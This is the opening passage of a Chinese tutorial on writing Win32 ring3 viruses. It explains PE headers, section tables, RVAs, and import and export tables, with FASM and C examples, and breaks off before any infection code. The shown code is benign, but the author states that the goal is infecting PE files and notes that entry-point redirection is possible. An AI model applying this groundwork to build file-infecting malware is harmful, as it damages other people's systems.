Win32病毒入门 -- ring3篇


                             Win32病毒入门 -- ring3篇

                                 by pker / CVC.GB

1、声明
-------

本文仅仅是一篇讲述病毒原理的理论性文章,任何人如果通过本文中讲述的技术或利用本文
中的代码写出恶性病毒,造成的任何影响均与作者无关。

2、前言
-------

病毒是什么?病毒就是一个具有一定生物病毒特性,可以进行传播、感染的程序。病毒同样
是一个程序,只不过它经常做着一些正常程序不常做的事情而已,仅此而已。在这篇文章中
我们将揭开病毒的神秘面纱,动手写一个病毒(当然这个病毒是不具有破坏力的,仅仅是一
个良性病毒)。

在网上有很多病毒方面的入门文章,但大部分都很泛泛,并不适合真正的初学者。真正的高
手没有时间也不屑于写这样一篇详细的入门文章,所以我便萌发了写这样一篇文章的冲动,
一来是对自己的学习进行一下总结,二来也是想让像我一样的初学者能少走一些弯路。如果
你有一定的病毒编写基础,那么就此打住,这是一篇为对病毒编程完全没有概念的读者编写
的,是一篇超级入门的文章 :P

3、对读者的假设
---------------

没错,这是一篇完整、详细的入门文章,但是如果读者对编程还没有什么认识我想也不可能
顺利地读下去。本文要求读者:

1)  有基本的C/C++语言知识。因为文章中的很多结构的定义我使用的是C/C++的语法。

2)  有一定的汇编基础。在这篇文章中我们将使用FASM编译器,这个编译器对很多读者来说
    可能很陌生,不过没关系,让我们一起来熟悉它 :P

3)  有文件格式的概念,知道一个可执行文件可以有ELF、MZ、LE、PE之分。

好了,让我们开始我们的病毒之旅吧!!!

4、PE文件结构
-------------

DOS下,可执行文件分为两种,一种是从CP/M继承来的COM小程序,另一种是EXE可执行文件,
我们称之为MZ文件。而Win32下,一种新的可执行文件可是取代了MZ文件,就是我们这一节
的主角 -- PE文件。

PE(Portable Executable File Format)称为可移植执行文件格式,我们可以用如下的表
来描述一个PE文件:

+-----------------------------+     --------------------------------------------
|         DOS MZ文件头        |                                         ^
+-----------------------------+                                      DOS部分
|            DOS块            |                                         v
+-----------------------------+     --------------------------------------------
|           PE/0/0            |                                         ^
+-----------------------------+                                         |
|    IMAGE_FILE_HEADER结构    |                                      PE文件头
+-----------------------------+                                         |
| IMAGE_OPTIONAL_HEADER32结构 |                                         v
+-----------------------------+     --------------------------------------------
|                             |-----+                                   ^
|                             |-----+-----+                             |
|  n*IMAGE_SECTION_HEADER结构 |-----+-----+-----+                     节表
|                             |-----+-----+-----+-----+                 |
|                             |-----+-----+-----+-----+-----+           v
+-----------------------------+     |     |     |     |     |     --------------
|           .text节           |<----+     |     |     |     |           ^
+-----------------------------+           |     |     |     |           |
|           .data节           |<----------+     |     |     |           |
+-----------------------------+                 |     |     |           |
|           .idata节          |<----------------+     |     |        节数据
+-----------------------------+                       |     |           |
|           .reloc节          |<----------------------+     |           |
+-----------------------------+                             |           |
|             ...             |<----------------------------+           v
+-----------------------------+     --------------------------------------------

好了,各位读者请准备好,我们要对PE格式进行一次超高速洗礼,嘿嘿。

PE文件的头部是一个DOS MZ文件头,这是为了可执行文件的向下兼容性设计的。PE文件的DOS
部分分为两部分,一个是MZ文件头,另一部分是DOS块,这里面存放的是可执行代码部分。还
记得在DOS下运行一个PE文件时的情景么:“This program cannot be run in DOS mode.”。
没错,这就是DOS块(DOS Stub)完成的工作。下面我们先来看看MZ文件头的定义:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

其中e_magic就是鼎鼎大名的‘MZ’,这个我们并不陌生。后面的字段指明了入口地址、堆
栈位置和重定位表位置等。我们还要关心的一个字段是e_lfanew字段,它指定了真正的PE文
件头,这个地址总是经过8字节对齐的。

下面让我们来真正地走进PE文件,下面是PE文件头的定义:

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

PE文件头的第一个双字是00004550h,即字符P、E和两个0。后面还有两个结构:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

我们先来看看IMAGE_FILE_HEADER。Machine字段指定了程序的运行平台。

NumberOfSections指定了文件中节(有关节的概念后面会有介绍)的数量。

TimeDataStamp是编译次文件的时间,它是从1969年12月31日下午4:00开始到创建为止的总
秒数。

PointerToSymbolTable指向调试符号表。NumberOfSymbols是调试符号的个数。这两个字段
我们不需要关心。

SizeOfOptionalHeader指定了紧跟在后面的IMAGE_OPTIONAL_HEADER结构的大小,它总等于
0e0h。

Characteristics是一个很重要的字段,它描述了文件的属性,它决定了系统对这个文件的
装载方式。下面是这个字段每个位的含义(略去了一些我们不需要关心的字段):

#define IMAGE_FILE_RELOCS_STRIPPED           0x0001  // 文件中不存在重定位信息
#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // 文件是可执行的
#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020  // 程序可以触及大于2G的地址
#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080  // 小尾方式
#define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32位机器
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400  // 不可在可移动介质上运行
#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800  // 不可在网络上运行
#define IMAGE_FILE_SYSTEM                    0x1000  // 系统文件
#define IMAGE_FILE_DLL                       0x2000  // 文件是一个DLL
#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000  // 只能在单处理器计算机上运行
#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000  // 大尾方式

下面我们再来看一下IMAGE_OPTIONAL_HEADER32结构,从字面上看好象这个结构是可选的,
其实则不然,它是每个PE文件不可缺少的部分。我们分别对每个字段进行讲解,同样我们仍
省略了一些我们不太关心的字段。

Magic字段可能是两个值:107h表示是一个ROM映像,10bh表示是一个EXE映像。

SizeOfCode表示代码节的总大小。

SizeOfInitializedData指定了已初始化数据节的大小,SizeOfUninitializedData包含未初
始化数据节的大小。

AddressOfEntryPoint是程序入口的RVA(关于RVA的概念将在后面介绍,这是PE文件中的一个
非常重要又非常容易混淆的概念)。如果我们要改变程序的执行入口则可以改变这个值 :P

BaseOfCode和BaseOfData分别是代码节和数据节的起始RVA。

ImageBase是程序建议的装载地址。如果可能的话系统将文件加载到ImageBase指定的地址,
如果这个地址被占用文件才被加载到其他地址上。由于每个程序的虚拟地址空间是独立的,
所以对于优先装入的EXE文件而言,其地址空间不可能被占用;而对于DLL,其装入的地址空
间要依具体程序的地址空间的使用状态而定,所以可能每次装载的地址是不同的。这还引出
了另一个问题就是,一般的EXE文件不需要定位表,而DLL文件必须要有一个重定位表。

SectionAligment和FileAligment分别是内存中和文件中的对齐粒度,正是由于程序在内存
中和文件中的对齐粒度不同才产生了RVA概念,后面提到。

SizeOfImage是内存中整个PE的大小。

SizeOfHeaders是所有头加节表的大小。

CheckSum是文件的校验和,对于一般的PE文件系统并不检查这个值。而对于系统文件,如驱
动等,系统会严格检查这个值,如果这个值不正确系统则不予以加载。

Subsystem指定文件的子系统。关于各个取值的定义如下:

#define IMAGE_SUBSYSTEM_UNKNOWN              0   // 未知子系统
#define IMAGE_SUBSYSTEM_NATIVE               1   // 不需要子系统
#define IMAGE_SUBSYSTEM_WINDOWS_GUI          2   // Windows图形界面
#define IMAGE_SUBSYSTEM_WINDOWS_CUI          3   // Windows控制台界面
#define IMAGE_SUBSYSTEM_OS2_CUI              5   // OS/2控制台界面
#define IMAGE_SUBSYSTEM_POSIX_CUI            7   // Posiz控制台界面
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS       8   // Win9x驱动程序,不需要子系统
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI       9   // Windows CE子系统

NumberOfRvaAndSizes指定了数据目录结构的数量,这个数量一般总为16。

DataDirectory为数据目录。

下面是数据目录的定义:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

VirtualAddress为数据的起始RVA,Size为数据块的长度。下面是数据目录列表的含义:

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // 导出表
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // 引入表
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // 资源
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // 异常
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // 安全
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // 重定位表
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // 调试信息
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // 版权信息
......

看到这里大家是不是很混乱呢?没办法,只能硬着头皮“啃”下去,把上面的内容再重新读
一遍... 下面我们继续,做好准备了么?我们开始啦!!

紧接着IMAGE_NT_HEADERS结构的是节表。什么是节表呢?别着急,我们先要清楚一下什么是
节。PE文件是按照节的方式组织的,比如:数据节、代码节、重定位节等。每个节有着自己
的属性,如:只读、只写、可读可写、可执行、可丢弃等。其实在执行一个PE文件的时候,
Windows并不是把整个PE文件一下读入内存,而是采用内存映射的机制。当程序执行到某个
内存页中的指令或者访问到某个内存页中的数据时,如果这个页在内存中那么就执行或访问,
如果这个页不在内存中而是在磁盘中,这时会引发一个缺页故障,系统会自动把这个页从交
换文件中提交的物理内存并重新执行故障指令。由于这时这个内存页已经提交到了物理内存
则程序可以继续执行。这样的机制使得文件装入的速度和文件的大小不成比例关系。

节表就是描述每个节属性的表,文件中有多少个节就有多少个节表。下面我们来看一下节表
的结构:

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Name为一个8个字节的数组。定义了节的名字,如:.text等。习惯上我们把代码节称为.text,
把数据节称为.data,把重定位节称为.reloc,把资源节称为.rsrc等。但注意:这些名字不
是一定的,可一任意命名,千万不要通过节的名字来定位一个节。

Misc是一个联合。通常是VirtualSize有效。它指定了节的大小。这是节在没有进行对齐前的
大小。

VirtualAddress指定了这个节在被映射到内存中后的偏移地址,是一个RVA地址。这个地址是
经过对齐的,以SectionAlignment为对齐粒度。

PointerToRawData指定了节在磁盘文件中的偏移,注意不要与RVA混淆。

SizeOfRawData指定了节在文件中对齐后的大小,即VirtualSize的值根据FileAlignment粒度
对齐后的大小。

Characteristics同样又是一个很重要的字段。它指定了节的属性。下面是部分属性的定义:

#define IMAGE_SCN_CNT_CODE                   0x00000020  // 节中包含代码
#define IMAGE_SCN_CNT_INITIALIZED_DATA       0x00000040  // 节中包含已初始化数据
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  // 节中包含未初始化数据
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  // 是一个可丢弃的节,即
                                                         // 节中的数据在进程开始
                                                         // 后将被丢弃
#define IMAGE_SCN_MEM_NOT_CACHED             0x04000000  // 节中数据不经过缓存
#define IMAGE_SCN_MEM_NOT_PAGED              0x08000000  // 节中数据不被交换出内存
#define IMAGE_SCN_MEM_SHARED                 0x10000000  // 节中数据可共享
#define IMAGE_SCN_MEM_EXECUTE                0x20000000  // 可执行节
#define IMAGE_SCN_MEM_READ                   0x40000000  // 可读节
#define IMAGE_SCN_MEM_WRITE                  0x80000000  // 可写节

好了,是时候跟大家介绍RVA的概念了。这是一个大多数初学者经常搞不清楚的容易混淆的概
念。RVA是Relative Virtual Address的缩写,即相对虚拟地址。那么RVA到底代表什么呢?
简单的说就是,RVA是内存中相对装载基址的偏移。假设一个进程的装载地址为00400000h,
一个数据的地址为00401234h,那么这个数据的RVA为00401234h-00400000h=1234h。

好累啊... 不知道我的描述是否清楚呢?我想多数读者读到这里一定又是一头雾水吧?为什
么要将这么多关于PE文件的知识呢?(废什么话?这样的问题也拿出来问。呵呵,我好象听
到有人这么说了 :P)因为Win32下的可执行文件、DLL和驱动等都是PE格式的,我们的病毒
要感染它们,所以必须要把整个PE格式烂熟于心。

其实关于PE文件我们还有导入表、导出表、重定位表、资源等很多内容没有讲。但是为了让
读者能够减轻一些负担,所以把这些内容穿插在后面的小节中,直到涉及到相关知识时我们
再进行讲解。

下面我们准备进入下一节,在进入下一节之前我建议读者把前面的内容再巩固一遍,在后面
的一节中我们要向大家介绍一款相当优秀的编译器 ---- FASM(Flat Assembler)。为什么
我要推荐它呢?一会儿你就会知道 :P

5、关于FASM
-----------

下面我们用FASM来编写我们的第一个程序。我们可以编写如下代码:

format  PE GUI 4.0
entry   __start

section '.text' code    readable executable

    __start:
            ret

我们把这个文件存为test.asm并编译它:

fasm test.asm test.exe

没有任何烦人的参数,很方便,不是么? :P

我们先来看一下这个程序的结构。第一句是format指示字,它指定了程序的类型,PE表示我
们编写的是一个PE文件,后面的GUI指示编译器我们将使用Windows图形界面。如果要编写一
个控制台应用程序则可以指定为CONSOLE。如果要写一个内核驱动,可以指定为NATIVE,表示
不需要子系统支持。最后的4.0指定了子系统的版本号(还记得前面的MajorSubsystemVersion
和MinorSubsystemVersion么?)。

下面一行指定了程序的入口为__start。

section指示字表示我们要开始一个新节。我们的程序只有一个节,即代码节,我们将其命名
为.text,并指定节属性为只读(readable)和可执行(executable)。

之后就是我们的代码了,我们仅仅用一条ret指令返回系统,这时堆栈里的返回地址为Exit-
Thread,所以程序直接退出。

下面运行它,程序只是简单地退出了,我们成功地用FASM编写了一个程序!我们已经迈出了
第一步,下面要让我们的程序可以做点什么。我们想要调用一个API,我们要怎么做呢?让
我们再来充充电吧 :D


5.1、导入表
-----------

我们编写如下代码并用TASM编译:

;
; tasm32 /ml /m5 test.asm
; tlink32 -Tpe -aa test.obj ,,, import32.lib
;

        ideal
        p586
        model   use32 flat

extrn   MessageBoxA:near

        dataseg
str_hello       db      'Hello',0

        codeseg
__start:
        push    0
        push    offset str_hello
        push    offset str_hello
        push    0
        call    MessageBoxA
        ret

        end     __start

下面我们用w32dasm反汇编,得到:

:00401000   6A00                    push    00000000
:00401002   6800204000              push    00402000
:00401007   6800204000              push    00402000
:0040100C   6A00                    push    00000000
:0040100E   E801000000              call    00401014
:00401013   C3                      ret
:00401014   FF2530304000            jmp     dword ptr [00403030]

可以看到代码中的call MessageBoxA被翻译成了call 00401014,在这个地址处是一个跳转
指令jmp dword ptr [00403030],我们可以确定在地址00403030处存放的是MessageBoxA的
真正地址。

其实这个地址是位于PE文件的导入表中的。下面我们继续我们的PE文件的学习。我们先来看
一下导入表的结构。导入表是由一系列的IMAGE_IMPORT_DESCRIPTOR结构组成的。结构的个
数由文件引用的DLL个数决定,文件引用了多少个DLL就有多少个IMAGE_IMPORT_DESCRIPTOR
结构,最后还有一个全为零的IMAGE_IMPORT_DESCRIPTOR作为结束。

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    };
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;

typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Name字段是一个RVA,指定了引入的DLL的名字。

OriginalFirstThunk和FirstThunk在一个PE没有加载到内存中的时候是一样的,都是指向一
个IMAGE_THUNK_DATA结构数组。最后以一个内容为0的结构结束。其实这个结构就是一个双
字。这个结构很有意思,因为在不同的时候这个结构代表着不同的含义。当这个双字的最高
位为1时,表示函数是以序号的方式导入的;当最高位为0时,表示函数是以名称方式导入的,
这是这个双字是一个RVA,指向一个IMAGE_IMPORT_BY_NAME结构,这个结构用来指定导入函数
名称。

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

Hint字段表示一个序号,不过因为是按名称导入,所以这个序号一般为零。

Name字段是函数的名称。

下面我们用一张图来说明这个复杂的过程。假设一个PE引用了kernel32.dll中的LoadLibraryA
和GetProcAddress,还有一个按序号导入的函数80010002h。

IMAGE_IMPORT_DESCRIPTOR                                  IMAGE_IMPORT_BY_NAME

+--------------------+   +--> +------------------+     +-----------------------+
| OriginalFirstThunk | --+    | IMAGE_THUNK_DATA | --> | 023B |  ExitProcess   | <--+
+--------------------+        +------------------+     +-----------------------+    |
|   TimeDataStamp    |        | IMAGE_THUNK_DATA | --> | 0191 | GetProcAddress | <--+--+
+--------------------+        +------------------+     +-----------------------+    |  |
|   ForwarderChain   |        |     80010002h    |                                  |  |
+--------------------+        +------------------+    +---> +------------------+    |  |
|        Name        | --+    |         0        |    |     | IMAGE_THUNK_DATA | ---+  |
+--------------------+   |    +------------------+    |     +------------------+       |
|     FirstThunk     |-+ |                            |     | IMAGE_THUNK_DATA | ------+
+--------------------+ | |    +------------------+    |     +------------------+
                       | +--> |   kernel32.dll   |    |     |     80010002h    |
                       |      +------------------+    |     +------------------+
                       |                              |     |         0        |
                       +------------------------------+     +------------------+

还记得前面我们说过在一个PE没有被加载到内存中的时候IMAGE_IMPORT_DESCRIPTOR中的
OriginalFirstThunk和FirstThunk是相同的,那么为什么Windows要占用两个字段呢?其实
是这样的,在PE文件被PE加载器加载到内存中的时候这个加载器会自动把FirstThunk的值替
换为API函数的真正入口,也就是那个前面jmp的真正地址,而OriginalFirstThunk只不过是
用来反向查找函数名而已。

好了,又讲了这么多是要做什么呢?你马上就会看到。下面我们就来构造我们的导入表。

我们用以下代码来开始我们的引入节:

section '.idata' import data    readable

section指示字表示我们要开始一个新节。.idata是这个新节的名称。import data表示这是
一个引入节。readable表示这个节的节属性是只读的。

假设我们的程序只需要引入user32.dll中的MessageBoxA函数,那么我们的引入节只有一个
描述这个dll的IMAGE_IMPORT_DESCRIPTOR和一个全0的结构。考虑如下代码:

    dd      0                   ; 我们并不需要OriginalFirstThunk
    dd      0                   ; 我们也不需要管这个时间戳
    dd      0                   ; 我们也不关心这个链
    dd      RVA usr_dll         ; 指向我们的DLL名称的RVA
    dd      RVA usr_thunk       ; 指向我们的IMAGE_IMPORT_BY_NAME数组的RVA
                                ; 注意这个数组也是以0结尾的
    dd      0,0,0,0,0           ; 结束标志

上面用到了一个RVA伪指令,它指定的地址在编译时被自动写为对应的RVA值。下面定义我们
要引入的动态链接库的名字,这是一个以0结尾的字符串:

    usr_dll     db      'user32.dll',0

还有我们的IMAGE_THUNK_DATA:

    usr_thunk:
        MessageBox      dd      RVA __imp_MessageBox
                        dd      0                   ; 结束标志

上面的__imp_MessageBox在编译时由于前面有RVA指示,所以表示是IMAGE_IMPORT_BY_NAME的
RVA。下面我们定义这个结构:

    __imp_MessageBox    dw      0                   ; 我们不按序号导入,所以可以
                                                    ; 简单地置0
                        db      'MessageBoxA',0     ; 导入的函数名

好了,我们完成了导入表的建立。下面我们来看一个完整的程序,看看一个完整的FASM程序
是多么的漂亮 :P

format  PE GUI 4.0
entry   __start


;
; data section...
;

section '.data' data    readable

    pszText         db      'Hello, FASM world!',0
    pszCaption      db      'Flat Assembler',0


;
; code section...
;

section '.text' code    readable executable

    __start:
            push    0
            push    pszCaption
            push    pszText
            push    0
            call    [MessageBox]
            push    0
            call    [ExitProcess]


;
; import section...
;

section '.idata' import data    readable

    ; image import descriptor
    dd      0,0,0,RVA usr_dll,RVA usr_thunk
    dd      0,0,0,RVA krnl_dll,RVA krnl_thunk
    dd      0,0,0,0,0

    ; dll name
    usr_dll     db      'user32.dll',0
    krnl_dll    db      'kernel32.dll',0

    ; image thunk data
    usr_thunk:
        MessageBox      dd      RVA __imp_MessageBox
                        dd      0

    krnl_thunk:
        ExitProcess     dd      RVA __imp_ExitProcess
                        dd      0

    ; image import by name
    __imp_MessageBox    dw      0
                        db      'MessageBoxA',0

    __imp_ExitProcess   dw      0
                        db      'ExitProcess',0

看到这里我相信大家都对FASM这个编译器有了一个初步的认识,也一定有很多读者会说:“
这么麻烦啊,干吗要用这个编译器呢?”。是的,也许上面的代码看起来很复杂,编写起来
也很麻烦,但FASM的一个好处在于我们可以更主动地控制我们生成的PE文件结构,同时能对
PE文件有更理性的认识。不过每个人的口味不同,嘿嘿,也许上面的理由还不够说服各位读
者,没关系,选择一款适合你的编译器吧,它们都同样出色 :P

5.2、导出表
-----------

通过导入表的学习,我想各位读者已经对PE文件的学习过程有了自己认识和方法,所以下面
关于导出表的一节我将加快一些速度。“朋友们注意啦!!! @#$%$%&#^”  :D

在导出表的起始位置是一个IMAGE_EXPORT_DIRECTORY结构,但与引入表不同的是在导出表中
只有一个这个结构。下面我们来看一下这个结构的定义:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Characteristics、MajorVersion和MinorVersion不使用,一般为0。

TimeDataStamp是时间戳。

Name字段是一个RVA值,它指向了这个模块的原始名称。这个名称与编译后的文件名无关。

Base字段指定了导出函数序号的起始序号。假如Base的值为n,那么导出函数入口地址表中
的第一个函数的序号就是n,第二个就是n+1...

NumberOfFunctions指定了导出函数的总数。

NumberOfNames指定了按名称导出的函数的总数。按序号导出的函数总数就是这个值与到处
总数NumberOfFunctions的差。

AddressOfFunctions字段是一个RVA值,指向一个RVA数组,数组中的每个RVA均指向一个导
出函数的入口地址。数组的项数等于NumberOfFuntions。

AddressOfNames字段是一个RVA值,同样指向一个RVA数组,数组中的每个双字是一个指向函
数名字符串的RVA。数组的项数等于NumberOfNames。

AddressOfNameOrdinals字段是一个RVA值,它指向一个字数组,注意这里不再是双字了!!
这个数组起着很重要的作用,它的项数等于NumberOfNames,并与AddressOfNames指向的数组
一一对应。其每个项目的值代表了这个函数在入口地址表中索引。现在我们来看一个例子,
假如一个导出函数Foo在导出入口地址表中处于第m个位置,我们查找Ordinal数组的第m项,
假设这个值为x,我们把这个值与导出序号的起始值Base的值n相加得到的值就是函数在入口
地址表中索引。

下图表示了导出表的结构和上述过程:

+-----------------------+         +-----------------+
|    Characteristics    |  +----> | 'dlltest.dll',0 |
+-----------------------+  |      +-----------------+
|     TimeDataStamp     |  |
+-----------------------+  |  +-> +-----------------+
|      MajorVersion     |  |  | 0 | 函数入口地址RVA | ==> 函数Foo,序号n+0    <--+
+-----------------------+  |  |   +-----------------+                            |
|      MinorVersion     |  |  |   |       ...       |                            |
+-----------------------+  |  |   +-----------------+                            |
|         Name          | -+  | x | 函数入口地址RVA | ==> 按序号导出,序号为n+x  |
+-----------------------+     |   +-----------------+                            |
|    Base(假设值为n)  |     |   |       ...       |                            |
+-----------------------+     |   +-----------------+                            |
|   NumberOfFunctions   |     |                                                  |
+-----------------------+     |  +-> +-----+     +----------+      +-----+ <-+   |
|     NumberOfNames     |     |  |   | RVA | --> | '_foo',0 | <==> |  0  | --+---+
+-----------------------+     |  |   +-----+     +----------+      +-----+   |
|   AddressOfFunctions  | ----+  |   | ... |                       | ... |   |
+-----------------------+        |   +-----+                       +-----+   |
|     AddressOfNames    | -------+                                           |
+-----------------------+                                                    |
| AddressOfNameOrdinals | ---------------------------------------------------+
+-----------------------+

好了,下面我们来看构键我们的导出表。假设我们按名称导出一个函数_foo。我们以如下代
码开始:

section '.edata' export data    readable

接着是IMAGE_EXPORT_DIRECTORY结构:

    dd      0                   ; Characteristics
    dd      0                   ; TimeDataStamp
    dw      0                   ; MajorVersion
    dw      0                   ; MinorVersion
    dd      RVA dll_name        ; RVA,指向DLL名称
    dd      0                   ; 起始序号为0
    dd      1                   ; 只导出一个函数
    dd      1                   ; 这个函数是按名称方式导出的
    dd      RVA addr_tab        ; RVA,指向导出函数入口地址表
    dd      RVA name_tab        ; RVA,指向函数名称地址表
    dd      RVA ordinal_tab     ; RVA,指向函数索引表

下面我们定义DLL名称:

    dll_name    db      'foo.dll',0     ; DLL名称,编译的文件名可以与它不同

接下来是导出函数入口地址表和函数名称地址表,我们要导出一个叫_foo的函数:

    addr_tab    dd      RVA _foo        ; 函数入口地址
    name_tab    dd      RVA func_name

    func_name   db      '_foo',0        ; 函数名称

最后是函数索引表:

    ordinal_tab     dw      0           ; 只有一个按名称导出函数,序号为0

下面我们看一个完整的程序:

format  PE GUI 4.0 DLL at 76000000h
entry   _dll_entry


;
; data section...
;

section '.data' data    readable

    pszText         db      'Hello, FASM world!',0
    pszCaption      db      'Flat Assembler',0


;
; code section...
;

section '.text' code    readable executable

    _foo:
            push    0
            push    pszCaption
            push    pszText
            push    0
            call    [MessageBox]
            ret

    _dll_entry:
            xor     eax,eax
            inc     eax
            ret     0ch


;
; import section...
;

section '.idata' import data    readable

    ; image import descriptor
    dd      0,0,0,RVA usr_dll,RVA usr_thunk
    dd      0,0,0,RVA krnl_dll,RVA krnl_thunk
    dd      0,0,0,0,0

    ; dll name
    usr_dll     db      'user32.dll',0
    krnl_dll    db      'kernel32.dll',0

    ; image thunk data
    usr_thunk:
        MessageBox      dd      RVA __imp_MessageBox
                        dd      0

    krnl_thunk:
        ExitProcess     dd      RVA __imp_ExitProcess
                        dd      0

    ; image import by name
    __imp_MessageBox    dw      0
                        db      'MessageBoxA',0

    __imp_ExitProcess   dw      0
                        db      'ExitProcess',0


;
; export section...
;

section '.edata' export data    readable

    ; image export directory
    dd      0,0,0,RVA dll_name,0,1,1
    dd      RVA addr_tab
    dd      RVA name_tab
    dd      RVA ordinal_tab

    ; dll name
    dll_name        db      'foo.dll',0

    ; function address table
    addr_tab        dd      RVA _foo

    ; function name table
    name_tab        dd      RVA ex_foo

    ; export name table
    ex_foo          db      '_foo',0

    ; ordinal table
    ordinal_tab     dw      0


;
; relocation section...
;

section '.reloc' fixups data     discardable

程序的一开始用format指定了PE和GUI,在子系统版本号的后面我们使用了DLL指示字,表示
这是一个DLL文件。最后还有一个at关键字,指示了文件的image base。

程序的最后一个节是重定位节,对于重定位表我不做过多解释,有兴趣的读者可以参考其他
书籍或文章。我们可以把刚才的程序编译成一个DLL:

fasm foo.asm foo.dll

下面我们编写一个测试程序检验程序的正确性:

#include

int __stdcall WinMain (HINSTANCE,HINSTANCE,LPTSTR,int)
{
    HMODULE hFoo=LoadLibrary ("foo.dll");
    FARPROC _foo=GetProcAddress (hFoo,"_foo");
    _foo ();
    FreeLibrary (hFoo);

    return 0;
}

我们把编译后的exe和刚才的dll放在同一个目录下并运行,看看程序运行是否正确 :P


5.3、强大的宏
-------------

关于FASM,还有一个强大的功能就是宏。大家对宏一定都不陌生,下面我们来看看在FASM中
如何定义宏。假设我们要编写一个复制字符串的宏,其中源、目的串由ESI和EDI指定,我们
可以:

macro @copysz
{
        local   next_char

